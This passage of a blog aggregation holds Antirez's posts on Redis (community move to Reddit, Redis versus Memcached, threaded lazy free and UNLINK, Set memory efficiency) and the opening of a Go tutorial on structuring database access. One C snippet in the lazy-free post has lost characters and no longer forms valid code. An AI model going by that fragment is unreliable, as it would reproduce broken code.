seldom. So why Reddit instead? Because it’s the center of the most vital communities on the internet today. Because it’s centered on a voting system, so if an user asks for help, even if you don’t want to contribute, you can use the comment voting to tell the difference between a lame request and a great one, a poor reply and an outstanding one. Reddit also allows to vote the topics so that things which are important for the community will get more contributions. Has a side bar that can be used for FAQs and other important pointers, and has a ton of existing subscribers. Reddit also contains “gamification” elements that may be useful and funny. For example you can associate small sentences or images to your username in a given sub-reddit, in order to state, for example, if you use Redis for caching, as a store, for messaging or whatever. Your reply in a given context can be read more clearly if it is possible to understand what kind of Redis user you are. It is possible to write guidelines in the submission page, so that people realize what to provide before posting. For example we’ll have warnings telling you to post the INFO output of your master and slaves if you want us to investigate your replication issues. So, what happens now? I asked Reddit admins to get access to /r/redis, which is a sub created years ago but not actively administered apparently. When I receive the admin privileges I’ll setup the sub in order to only accent comment submissions (not direct links, you’ll be still able to post a link if you comment it). At this point the Redis ML will be modified in order to moderate each single message, we’ll advice people posting help questions to go on Reddit. The Redis.io community page will be updated to instruct new users about Reddit being our primary discussion forum. Why not using Discourse or Stack Overflow, you’ll ask? SO is great but is not suitable for general conversation, and we need this a lot. People will continue to post Redis questions on SO and we’ll continue to reply, of course. Discourse is more an evolution of the mailing list we are using, but is not technically speaking a “social site”, we want to go where communities are already and where voting things is the main idea, so that as the Redis community grow we find a way to filter the most interesting contribs and highlight them. Maybe the experiment will fail and we’ll return back to the mailing list, or we’ll try Discourse, but I think a too important change in the way programmers communicate is happening in order to ignore it. I must try. I think email lost in some way, it is no longer something scalable. For me it lost several years ago, I rarely reply to emails at all, since they are a tool that does not take into account people inability to scale reading too many messages. I hope we’ll have a great time on Reddit. See you there! P.s. if you are a Reddit admin reading this, please evaluate my request to take ownership of /r/redis here: https://www.reddit.com/r/redditrequest/comments/3pnwrx/requesting_rredis/ Comments

• Clarifications about Redis and Memcached
  Antirez · Sep 26, 2015

  If you know me, you know I’m not the kind of guy that considers competing products a bad thing. I actually love the users to have choices, so I rarely do anything like comparing Redis with other technologies. However it is also true that in order to pick the right solution users must be correctly informed. This post was triggered by reading a blog post published by Mike Perham, that you may know as the author of a popular library called Sidekiq, that happens to use Redis as backend. So I would not consider Mike a person which is “against” Redis at all. Yet in his blog post that you can find at the URL http://www.mikeperham.com/2015/09/24/storing-data-with-redis/ he states that, for caching, “you should probably use Memcached instead [of Redis]”. So Mike simply really believes Redis is not good for caching, and he arguments his thesis in this way: 1) Memcached is designed for caching. 2) It performs no disk I/O at all. 3) It is multi threaded and can handle 100,000s of requests by scaling multi core. I’ll address the above statements, and later will provide further informations which are not captured by the above sentences and which are in my opinion more relevant to most caching users and use cases. Memcached is designed for caching: I’ll skip this since it is not an argument. I can say “Redis is designed for caching”. So in this regard they are exactly the same, let’s move to the next thing. It performs no disk I/O at all: In Redis you can just disable disk I/O at all if you want, providing you with a purely in-memory experience. Except, if you really need it, you can persist the database only when you are going to reboot, for example with “SHUTDOWN SAVE”. The bottom line here is that Redis persistence is an added value even when you don’t use it at all. It is multi threaded: This is true, and in my goals there is to make Redis I/O threaded (like in memcached, where the data access itself is not threaded, basically). However Redis, especially using pipelining, can serve an impressive amount of requests per second per thread (half a million is a common figure with very intensive pipelining. Without pipelining it is around 100,000 ops/sec). In the vanilla caching scenario where each Redis instance is the same, works as a master, disk ops are disabled, and sharding is up to the client like in the “memcached sharding model”, to spin multiple Redis processes per system is not terrible. Once you do this what you get is a shared-nothing multi threaded setup so what counts is the amount of operations you can serve per single thread. Last time I checked Redis was at least as fast as memcached per each thread. Implementations change over time so the edge today may be of the one or the other, but I bet they provide near performances since they both tend to maximize the resources they can use. Memcached multi threading is still an advantage since it makes things simpler to use and administer, but I think it is not a crucial part. There is more. Mike talks of operations per second without citing the *quality* of operations. The thing is in systems like Redis and Memcached the cost of command dispatching and I/O is dominating compared to actually touching the in-memory data structures. So basically in Redis executing a simple GET, a SET, or a complex operation like a ZRANK operation is about the same cost. But what you can achieve with a complex operation is a lot more work from the point of view of the application level. Maybe instead of fetching five cached values you can just send a small Lua script. So the actual “scalability” of the two systems have many dimensions, and what you can achieve is one of those. Of Mike’s concerns the only valid I can see is multi threading which, if we consider Redis in its special case of memcached replacement, may be addressed executing multiple processes, or simply by executing just one since it will be very very hard to saturate one thread doing memcached alike operations. The real differences — Now it’s time to talk about the *real* differences between the two systems. * Memory efficiency This is where Memcached used to be better than Redis. In a system designed to represent a plain string to string dictionary, it is simpler to make better use of memory. This difference is not dramatic and it’s like 5 years I don’t check it, but it used to be noticeable. However if we consider memory efficiency of a long running process, things are a bit different. Read the next section. But again to really evaluate memory efficiency, you should put into the bag that specially encoded small aggregated values in Redis are very memory efficient. For example sets of small integers are represented internally as an array of 8, 16, 32 or 64 bits integers, and are accessed in logarithmic time when you want to check the existence of some since they are ordered, so binary search can be used. The same happens when you use hashes to represent objects instead of resorting to JSON. So the real memory efficiency must be evaluated with an use case at hand. * Redis LRU vs Slab allocator Memcached is not perfect from the point of view of memory utilization. If you happen to have an application that dramatically change the size of the cached values over time, you are likely to incur severe fragmentation and the only cure is a reboot. Redis is a lot more deterministic from this point of view. Moreover Redis LRU was lately improved a lot, and is now a very good approximation of real LRU. More info can be found here: http://redis.io/topics/lru-cache. If I understand correctly, memcached LRU still expires according to its slab allocator so sometimes the behavior may be far from real LRU, but I would like to hear what experts have to say about this. If you want to test Redis LRU you now can using the redis-cli LRU testing mode available in recent versions of Redis. * Smart caching If you want to use Redis for caching, and use it ala-memcached, you are truly missing something. This is the biggest mistake in Mike’s blog post in my opinion. People are switching to Redis more and more because they discovered that they can represent their cached data in more useful ways. What to retain the latest N items of something? Use a capped list. Want to take a cached popularity index? Use a sorted set, and so forth. * Persistence and Replication If you need those, they are very important assets. For example using this model scaling a huge load of reads is very simple. The same about restarts with persistence, the ability to take cache snapshots over time, and so forth. But it’s totally fair to have usages where both features are totally irrelevant. What I want to say here is that there are “pure caching” use cases where persistence and replication are important. * Observability Redis is very very observable. It has detailed reporting about a ton of internal metrics, you can SCAN the dataset, observe the expiration of objects. Tune the LRU algorithm. Give names to clients and see them reported in CLIENT LIST. Use “MONITOR” to debug your application, and many other advanced things. I believe this to be an advantage. * Lua scripting I believe Lua scripting to be an impressive help in many caching use cases. For example if you have a cached JSON blob, with a Lua command you can extract a single field and return it to the client instead of transferring everything (you can do the same, conceptually, using Redis hashes directly to represent objects). Conclusions — Memcached is a great piece of software, I read the source code multiple times, it was a revolution in our industry, and you should check if for you is a better bet compared to Redis. However things must be evaluated for what they are, and in the end I was a bit annoyed to read Mike’s report and very similar reports over the years. So I decided to show you my point of view. If you find anything factually incorrect, ping me and I’ll update the blog post according with “EDIT” sections. Comments

• Lazy Redis is better Redis
  Antirez · Sep 26, 2015

  Everybody knows Redis is single threaded. The best informed ones will tell you that, actually, Redis is *kinda* single threaded, since there are threads in order to perform certain slow operations on disk. So far threaded operations were so focused on I/O that our small library to perform asynchronous tasks on a different thread was called bio.c: Background I/O, basically. However some time ago I opened an issue where I promised a new Redis feature that many wanted, me included, called “lazy free”. The original issue is here: https://github.com/antirez/redis/issues/1748. The gist of the issue is that Redis DEL operations are normally blocking, so if you send Redis “DEL mykey” and your key happens to have 50 million objects, the server will block for seconds without serving anything in the meantime. Historically this was accepted mostly as a side effect of the Redis design, but is a limit in certain use cases. DEL is not the only blocking command, but is a special one, since usually we say: Redis is very fast as long as you use O(1) and O(log_N) commands. You are free to use O(N) commands but be aware that it’s not the case we optimized for, be prepared for latency spikes. This sounds reasonable, but at the same time, even objects created with fast operations need to be deleted. And in this case, Redis blocks. The first attempt — In a single-threaded server the easy way to make operations non-blocking is to do things incrementally instead of stopping the world. So if there is to free a 1 million allocations, instead of blocking everything in a for() loop, we can free 1000 elements each millisecond, for example. The CPU time used is the same, or a bit more, since there is more logic, but the latency from the point of view of the user is ways better. Maybe those cycles to free 1000 elements per millisecond were not even used. Avoiding to block for seconds is the key here. This is how many things inside Redis work: LRU eviction and keys expires are two obvious examples, but there are more, like incremental rehashing of hash tables. So this was the first thing I tried: create a new timer function, and perform the eviction there. Objects were just queued into a linked list, to be reclaimed slowly and incrementally each time the timer function was called. This requires some trick to work well. For example objects implemented with hash tables were also reclaimed incrementally using the same mechanism used inside Redis SCAN command: taking a cursor inside the dictionary and iterating it to free element after element. This way, in each timer call, we don’t have to free a whole hash table. The cursor will tell us where we left when we re-enter the timer function. Adaptive is hard — Do you know what is the hard part with this? That this time, we are doing a very special task incrementally: we are freeing memory. So if while we free memory incrementally, the server memory raises very fast, we may end, for the sake of latency, to consume an *unbound* amount of memory. Which is very bad. Imagine this, for example: WHILE 1 SADD myset element1 element2 … many many many elements DEL myset END If deleting myset in the background is slower compared to our SADD call adding tons of elements per call, our memory usage will grow forever. However after a few experiments, I found a way to make it working very well. The timer function used two ideas in order to be adaptive to the memory pressure: 1. Check the memory tendency: it is raising or lowering? In order to adapt how aggressively to free. 2. Also adapt the timer frequency itself based on “1”, so that we don’t waste CPU time when there is little to free, with continuous interruptions of the event loop. At the same time the timer could reach ~300 HZ when really needed. A small portion of code, from the now no longer existing function implementing this ideas: /* Compute the memory trend, biased towards thinking memory is raising * for a few calls every time previous and current memory raise. */ if (prev_mem mem_trend *= 0.9; /* Make it slowly forget. */ int mem_is_raising = mem_trend > .1; /* Free a few items. */ size_t workdone = lazyfreeStep(LAZYFREE_STEP_SLOW); /* Adjust this timer call frequency according to the current state. */ if (workdone) { if (timer_period == 1000) timer_period = 20; if (mem_is_raising && timer_period > 3) timer_period--; /* Raise call frequency. */ else if (!mem_is_raising && timer_period timer_period++; /* Lower call frequency. */ } else { timer_period = 1000; /* 1 HZ */ } It’s a good trick and it worked very well. But still it was kinda sad we have to do this operation in a single thread. There was a lot of logic to handle that well, and anyway when the lazy free cycle was very busy, operations per second were reduced to around 65% of the norm. Freeing objects in a different thread would be much simpler: freeing is almost always faster than adding new values in the dataset, if there is a thread which is busy doing only free operations. For sure there is some contention between the main thread calling the allocator and the lazy free thread doing the same, but Redis spends a fraction of its time on allocations, and much more time on I/O, command dispatching, cache misses, and so forth. However there was a big problem with implementing a threaded lazy free: Redis itself. The internal design was totally biased towards sharing objects around. After all they are reference counted right? So why don’t share as much as possible? We can save memory and time. A few examples: if you do SUNIONSTORE you end with shared objects in the target set. Similarly, client output buffers have lists of objects to send to the socket as reply, so during a call like SMEMBERS all the set members may end shared in the output buffer list. So sharing objects sounds so useful, lovely, wonderfully, greatly cool. But, hey, there is something more here. If after an SUNIONSTORE I re-load the database, the objects will be unshared, so the memory suddenly may jump to more than it was. Not great. Moreover what happens when we send replies to clients? We actually *glue together* objects into plain buffers when they are small, since otherwise doing many write() calls is not efficient! (free hint, writev() does not help). So we are mostly copying already. And in programming when something is not useful, but exists, it is likely a problem. And indeed each time you had to access a value, inside a key containing an aggregate data type, you had to traverse the following: key -> value_obj -> hash table -> robj -> sds_string So what about getting rid of “robj” structures entirely and converting aggregate values to be made just of hash tables (or skiplists) of SDS strings? (SDS is the library we use inside Redis for strings). There is a problem with that. Immagine a command like SADD myset myvalue. We can’t take client->argv[2], for example, and just reference it in the hash table implementing the set. We have to *duplicate* values sometimes and can’t reuse the ones already existing in the client argument vector, created when the command was parsed. However Redis performance is dominated by cache misses, so maybe we can compensate this with one indirection less? So I started to work to this new lazyfree branch, and tweeting about it on Twitter without any context so that everybody was thinking I was like desperate or crazy (a few eventually asked WTF this lazyfree thing was). So what I did? 1. Change client output buffers to use just dynamic strings instead of robj structures. Values are always copied when there is to create a reply. 2. Convert all the Redis data types to use SDS strings instead of shared robj structures. Sounds trivial? ~800 highly bug sensitive lines changed in the course of multiple weeks. But now all tests are passing. 3. Rewrite lazyfree to be threaded. The result is that Redis is now more memory efficient since there are no robj structures around in the implementation of the data structures (but they are used in the code paths where there is a lot of sharing going on, for example during the command dispatch and replication). Threaded lazy free works great and is faster than the incremental one to reclaim memory, even if the implementation of the incremental one is something I like a lot and was not so terrible even compared with the threaded one. But now, you can delete a huge key and the performance drop is negligible which is very useful. But, the most interesting thing is, Redis is now faster in all the operations I tested so far. Less indirection was a real winner here. It is faster even in unrelated benchmarks just because the client output buffers are now simpler and faster. In the end I deleted the incremental lazy freeing implementation from the branch, to retain only the threaded one. A note about the API — However what about the API? We still have a blocking DEL, the default is the same, since DEL in Redis means: reclaim memory now. I didn’t like the idea of changing that. So now you have a new command called UNLINK which more clearly states what is happening to the value. UNLINK is a smart command: it calculates the deallocation cost of an object, and if it is very small it will just do what DEL is supposed to do and free the object ASAP. Otherwise the object is sent to the background queue for processing. Otherwise the two commands are identical from the point of view of the keys space semantics. FLUSHALL / FLUSHDB non blocking variants were also implemented, but still not at API level, they’ll just take a LAZY option that if given will change the behavior. Not just lazy freeing — Now that values of aggregated data types are fully unshared, and client output buffers don’t contain shared objects as well, there is a lot to exploit. For example it is finally possible to implement threaded I/O in Redis, so that different clients are served by different threads. This means that we’ll have a global lock only when accessing the database, but the clients read/write syscalls and even the parsing of the command the client is sending, can happen in different threads. This is a design similar to memcached, and one I look forward to implement and test. Moreover it is now possible to implement certain slow operations on aggregated data types in another thread, in a way that only a few keys are “blocked” but all the other clients can continue. This can be achieved in a very similar way to what we do currently with blocking operations (see blocking.c), plus an hash table to store what keys are currently busy and with what client. So if a client asks for something like SMEMBERS it is possible to lock just the key, process the request creating the output buffer, and later release the key again. Only clients trying to access the same key will be blocked if the key is blocked. All this requires even more drastic internal changes, but the bottom line here is, we have a taboo less. We can compensate object copying times with less cache misses and a smaller memory footprint for aggregated data types, so we are now free to think in terms of a threaded Redis with a share-nothing design, which is the only design that could easily outperform our single threaded one. In the past a threaded Redis was always seen as a bad idea if thought as a set of mutexes in data structures and objects in order to implement concurrent access, but fortunately there are alternatives to get the best of both the worlds. And we have the option to still serve all the fast operations like we did in the past from the main thread, if we want. There should be only to gain performance-wise, at the cost of some contained complexity. ETA — I touched a lot of internals, this is not something which is going live tomorrow. So my plan is to call 3.2. what we have already into unstable, do the work to put it into Release Candidate state, and merge this branch into unstable targeting 3.4. However before merging, a very scrupulous check for speed regression should be performed. There is definitely more work to do. If you want to give it a try check the “lazyfree” branch on Github. Btw be aware that currently I’m working at it very actively so certain things may be at moments totally broken. Comments

• About Redis Sets memory efficiency
  Antirez · Aug 28, 2015

  Yesterday Amplitude published an article about scaling analytics, in the context of using the Set data type. The blog post is here: https://amplitude.com/blog/2015/08/25/scaling-analytics-at-amplitude/ On Hacker News people asked why not using Redis instead: https://news.ycombinator.com/item?id=10118413 Amplitude developers have their set of reasons for not using Redis, and in general if you have a very specific problem and want to scale it in the best possible way, it makes sense to implement your vertical solution. I’m not adverse to reinventing the wheel, you want your very specific wheel sometimes, that a general purpose system may not be able to provide. Moreover creating your solution gives you control on what you did, boosts your creativity and your confidence in what you, as a developer can do, makes you able to debug whatever bug may arise in the future without external help. On the other hand of course creating system software from scratch is a very complex matter, requires constant developments if there is a wish to actively develop something, or means to have a stalled, non evolving piece of code if there is no team dedicated to it. If it is very vertical and specialized, likely the new system is capable of handling only a slice of the whole application problems, and yet you have to manage it as an additional component. Moreover if it was created by mostly one or a few programmers that later go away from the company, then fixing and evolving it is a very big problem: there isn’t sizable external community, nor there are the original developers. Basically writing things in house is not good or bad per se, it depends. Of course it is a matter of sensibility to understand when it’s worth to implement something from scratch and when it is not. Good developers know. From my point of view, regardless of what the Amplitude developers final solution was, it is interesting to read the process and why they are not using Redis. One of the concerns they raised is the overhead of the Set data type in Redis. I believe they are right to have such a concern, Redis Sets could be a lot more memory efficient, and weeks before reading the Amplitude article, I already started to explore ways to improve Sets memory efficiency. Today I want to share the plans with you. Dual representation of data types === In principle there where plain data structures, implemented more or less like an algorithm text book suggests: each node of the data structure is implemented dynamically allocating it. Allocation overhead, fat pointers, poor cache locality, are the big limits of this basic solution. Pieter Noordhuis and I later implemented specialized implementations of Redis abstract data types, to be very memory efficient, using single allocations to hold tens or a few hundreds of elements in a single allocation, sometimes with ad-hoc encodings to better use the space. Those versions of the data structures have O(N) time complexity for certain operations, or sometimes are limited to elements having a specific format (numbers) or sizes. So for example when you create an Hash, it starts represented in a memory efficient way which is good for a small number of elements. Later it gets converted to a real hash table if the number of elements reach a given threshold. This means that the memory efficiency of a Redis data type depends a lot on the number of elements it stores. The next step: Redis lists === At some point Twitter developers realized that there was no reason to go from an array of elements in a single allocation, representing items in a List, to an actual linked list which is a lot less memory efficient. There is something in the middle: a linked list of arrays representing a few items. Their implementation does not handle defragmentation when you remove something in the middle. Pieter and I in the past tried to understand if this was worth or not, but we had some feeling the defragmentation effort may not be compensated by the space savings, and a non defragmenting implementation of this idea was too fragile as a general purpose implementation of Redis lists: remove a few elements in the middle and your memory usage changes dramatically. Fortunately Matt Stancliff implemented the idea, including the defragmentation part, in an excellent way, and after some experimentation he showed that the new implementation was at least as good as the current implementation in Redis from the POV of performances, and much better from the point of view of memory usage. Moreover the memory efficiency of lists was no longer a function of the size of the list, and there was a single representation to deal with. Lists are kinda special since, to have linked lists of small arrays is really an optimal representation that may not map easily to other data types. It is possible to do something like that for Sets and other data types? Redis Sets === Sets memory usage is a bit special. They don’t have a specialized representation like all the other Redis data structures for sets composed of strings. So even a very small Set is going to consume a lot of memory. The special representation actually exists and is excellent but only works if the Set is composed of just numbers and is small: in such a case, we represent the Set with a special encoding called “intset”. It is an ordered linear array of integers, so that we can use binary search for testing existence of members. The array automatically changes size of each element depending on the greatest element in the set, so representing a set that has the strings 1, 20, 30, 15 is going to take just one byte per element plus some overhead, because the strings can be represented as numbers, and are inside the 8 bits range. However just add “a” to the set, and it will be converted into a full hash table: 127.0.0.1:6379> sadd myset 1 2 3 4 5 (integer) 5 127.0.0.1:6379> object encoding myset "intset" 127.0.0.1:6379> sadd myset a (integer) 1 127.0.0.1:6379> object encoding myset "hashtable" Sets of integer are a very used data type in Redis, so it is actually very useful to have that. But why we don’t have a special representation for small sets composed of non numerical strings, like we have for everything else? Well, the idea was that to have a data type with *three* representations was not going to be a good thing from the point of view of Redis internals. If you check t_zset.c o t_set.c you’ll see it require some care to deal with multiple representations. The more you want to abstract away dealing with N representations, the more you no longer have access to certain optimizations. Moreover the List story showed that it was possible to have a single representation with all the benefits. What you lose in terms of scanning the small aggregates containing N elements, you win back because of better cache locality, so it is possible to experiment with things that look like a tragic time/space tradeoff, but in reality are not. Specializing Redis hash tables === Big hashes, non numerical (or big) sets, and big sorted sets, are currently represented by hash tables. The implementation is the one inside the dict.c file. It is an hash table implemented in a pretty trivial way, using chaining to resolve collisions. The special things in this hash table implementation are just two: it never blocks in order to rehash, the rehashing process is handled incrementally. I did this in the first months of my VMware sponsorship, and it was a big win in terms of latency, of course. dict.c also implements a special primitive called “scanning” invented by Pieter Noordhuis, which is a cursor based iterator without overheads nor state, but with reasonable guarantees. Apart from that the Redis hash table expects keys and values to be pointers to something, and methods in order to compare and release keys, and to release values. This is how you want to design a general purpose hash table: pointers and methods (function pointers) to deal with values everywhere. However Redis data structures have an interesting property: every element in complex data structures are always, semantically strings. Hashes are maps between a string field and a string value. Sets are unordered sets of strings, and so forth. What happens if we implement an hash table which is designed in order to store just string keys and string values? Well… it looks like there is a simple way to make such an hash table very memory efficient. We could set the load factor to something greater than 1, for example 10, and if there are 5 buckets in the hash table, each bucket will contain on average 10 elements. So each bucket will be something like a linear array of key-value items, with prefixed lengths, in a very similar fashion to the encodings we use for small data types currently. Something like: 0: foobarhelloworld! 1: user:103811 … 2: … And so forth. The encoding could be specialized or just something existing like MessagePack. So here the extra work you do in each bucket is hopefully compensated by the better locality you get. To implement scanning and incremental rehashing on top of this data structure is viable as well, I did an initial analysis and while it is not possible to just copy the implementation in dict.c it is possible to find other ways to obtain the same effects. Note that, technically speaking, it is possible to store pointers in such an hash table: they will be just strings from the point of view of the hash table implementation, and it is possible to signal, in the hash table type, that those are pointers that need special care (for example free-value function pointers or alike). However only testing can say if it’s worth it or not. However there are problems that must be solved in order to use this for more than sets, or at least in order to use *only* such a representation, killing the small representations we have currently. For example, the current small representations have a very interesting property: they are already a serialization of themselves, without extra work required: we use this to store data into RDB files, to transfer data between nodes in Redis Cluster, and so forth. The specialized hash table should have the same property hopefully, or at least each single bucket should be already in a serialized format without any post-processing work required. If this is not the case, we could use this new dictionaries only in place of the general hash tables after the expansion, which is already a big win. Conclusions === This is an initial idea that requires some time for the design to be improved, validated by an implementation later, and in-depth load tested to guarantee there is no huge regression in certain legitimate workloads. If everything goes well we may end with a Redis server which is a lot more memory efficient than in the past. Such an hash table may also be used in order to store the main Redis dictionary in order to make each key overhead much smaller. Comments

• Organising database access in Go
  Alex Edwards · Jul 16, 2015

  A few weeks ago someone created a thread on Reddit asking: In the context of a web application what would you consider a Go best practice for accessing the database in (HTTP or other) handlers? The replies it got were a genuinely interesting mix. Some people advised using dependency injection, a few favoured the simplicity of using global variables, others suggested putting the connection pool pointer into the request context. Me? I think the right answer depends on the project. What's the overall structure and size of the project? What's your approach to testing? How is it likely to grow in the future? All these things and more should play a part when you pick an approach to take. So in this post we're going to take a look at four different methods for organizing your code and structuring access to your database connection pool, and explain when they may — or may not — be a good fit for your project. Application setup I like concrete examples, so let's set up a simple book store application to help illustrate the four different approaches. If you'd like to follow along, you need to create a new bookstore database and then execute the following SQL to create a books table and add some sample records. CREATE TABLE books ( isbn char(14) NOT NULL, title varchar(255) NOT NULL, author varchar(255) NOT NULL, price decimal(5,2) NOT NULL ); INSERT INTO books (isbn, title, author, price) VALUES ('978-1503261969', 'Emma', 'Jayne Austen', 9.44), ('978-1505255607', 'The Time Machine', 'H. G. Wells', 5.99), ('978-1503379640', 'The Prince', 'Niccolò Machiavelli', 6.99); ALTER TABLE books ADD PRIMARY KEY (isbn); Note: In this tutorial I'll be using PostgreSQL, but the principles are the same no matter what database you're using. You'll also need to run the following commands to scaffold a basic application structure and initialize a Go module: $ mkdir bookstore && cd bookstore $ mkdir models $ touch main.go models/models.go $ go mod init bookstore.alexedwards.net go: creating new go.mod: module bookstore.alexedwards.net At this point, you should have a bookstore directory on your machine with a structure exactly like this: bookstore/ ├── go.mod ├── main.go └── models └── models.go 1. Using a global variable OK, let's start by looking at storing the database connection pool in a global variable. This approach is arguably the simplest thing that works. You initialise the sql.DB connection pool in your main() function, assign it to a global variable, and then access the global from anywhere that you need to execute a database query. In the context of our book store application, the code would look something like this: File: models/models.go package models import ( "database/sql" ) // Create an exported global variable to hold the database connection pool. var DB *sql.DB type Book struct { Isbn string Title string Author string Price float32 } // AllBooks returns a slice of all books in the books table. func AllBooks() ([]Book, error) { // Note that we are calling Query() on the global variable. rows, err := DB.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) func main() { var err error // Initalize the sql.DB connection pool and assign it to the models.DB // global variable. models.DB, err = sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } // booksIndex sends a HTTP response listing all books. func booksIndex(w http.ResponseWriter, r *http.Request) { bks, err := models.AllBooks() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } At this point, if you run this application and make a request to the /books endpoint you should get the following response: $ curl localhost:3000/books 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Using a global variable to store the database connection pool like this is potentially a good fit when: Your application is small and simple, and keeping track of globals in your head isn't a problem. Your HTTP handlers are spread across multiple packages, but all your database-related code lives in one package. You don't need to mock the database for testing purposes. The drawbacks of using global variables are well-documented, but in practice I've found that for small and simple projects using a global variable like this works just fine, and it's (arguably) clearer and easier to understand than some of the other approaches we'll look at in this post. For more complex applications — where your handlers have more dependencies beyond just the database connection pool — it's generally better to use dependency injection instead of storing everything in global variables. The approach we've taken here also doesn't work if your database logic is spread over multiple packages, although — if you really want to — you could a separate config package containing an exported DB global variable and import "yourproject/config" into every file that needs it. I've provided a basic example in this gist. 1b. Global variable with an InitDB function A variation on the 'global variable' approach that I sometimes see uses an initialisation function to set up the connection pool, like so: File: models/models.go package models import ( "database/sql" _ "github.com/lib/pq" ) // This time the global variable is unexported. var db *sql.DB // InitDB sets up setting up the connection pool global variable. func InitDB(dataSourceName string) error { var err error db, err = sql.Open("postgres", dataSourceName) if err != nil { return err } return db.Ping() } type Book struct { Isbn string Title string Author string Price float32 } func AllBooks() ([]Book, error) { // This now uses the unexported global variable. rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "fmt" "log" "net/http" "bookstore.alexedwards.net/models" ) func main() { // Use the InitDB function to initialise the global variable. err := models.InitDB("postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } ... This is a small tweak to the global variable pattern, but it gives us a few nice benefits: All the database-related code now lives a single package, including the code to set up the connection pool. The global db variable is not exported, which removes the possibility of it being accidentally mutated by other packages at runtime. During testing, you can reuse the InitDB() function to initialise a connection pool to your test database (by calling it from TestMain() before your tests run). 2. Dependency injection In a more complex web application there are probably additional application-level objects that you want your handlers to have access to. For example, you might want your handlers to also have access to a shared logger, or a template cache, as well your database connection pool. Rather than storing all these dependencies in global variables, a neat approach is to store them in a single custom Env struct like so: type Env struct { db *sql.DB logger *log.Logger templates *template.Template } The nice thing about this is that you can then define your handlers as methods against Env. This gives you a easy and idiomatic way of making the connection pool (and any other dependencies) available to your handlers. Here's a full example: File: models/models.go package models import ( "database/sql" ) type Book struct { Isbn string Title string Author string Price float32 } // Update the AllBooks function so it accepts the connection pool as a // parameter. func AllBooks(db *sql.DB) ([]Book, error) { rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // Create a custom Env struct which holds a connection pool. type Env struct { db *sql.DB } func main() { // Initialise the connection pool. db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Create an instance of Env containing the connection pool. env := &Env{db: db} // Use env.booksIndex as the handler function for the /books route. http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } // Define booksIndex as a method on Env. func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { // We can now access the connection pool directly in our handlers. bks, err := models.AllBooks(env.db) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } One of the advantages of this pattern is how clear it is to see what dependencies our handlers have and what values they take at runtime. All the dependencies for our handlers are explicitly defined in one place (the Env struct), and we can see what values they have at runtime by simply looking at how it is initialised in the main() function. Another benefit is that any unit tests for our handlers can be completely self-contained. For example, a unit-test for booksIndex() could create an Env struct containing a connection pool to a test database, then call it's booksIndex() method in order to test the handler behaviour. There's no need to rely any global variables outside of the test. In general, dependency injection in this way is quite a nice approach when: There is a common set of dependencies that your handlers need access to. All your HTTP handlers live in one package, but your database-related code may be spread across multiple packages. You don't need to mock the database for testing purposes. 2b. Dependency injection via a closure If you don't want to define your handlers as methods on Env, an alternative approach is to put your handler logic into a closure and close over the Env variable like so: File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) type Env struct { db *sql.DB } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } env := &Env{db: db} // Pass the Env struct as a parameter to booksIndex(). http.Handle("/books", booksIndex(env)) http.ListenAndServe(":3000", nil) } // Use a closure to make Env available to the handler logic. func booksIndex(env *Env) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { bks, err := models.AllBooks(env.db) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } } This pattern makes our handler functions a bit more verbose, but it can be a useful technique if you want to use dependency injection when your handlers are spread across multiple packages. Here's a gist demonstrating how that can work. 3. Wrapping the connection pool The third pattern we'll look at uses dependency injection again, but this time we're going to wrap the sql.DB connection pool in our own custom type. Let's jump straight in to the code: File: models/models.go package models import ( "database/sql" ) type Book struct { Isbn string Title string Author string Price float32 } // Create a custom BookModel type which wraps the sql.DB connection pool. type BookModel struct { DB *sql.DB } // Use a method on the custom BookModel type to run the SQL query. func (m BookModel) All() ([]Book, error) { rows, err := m.DB.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( 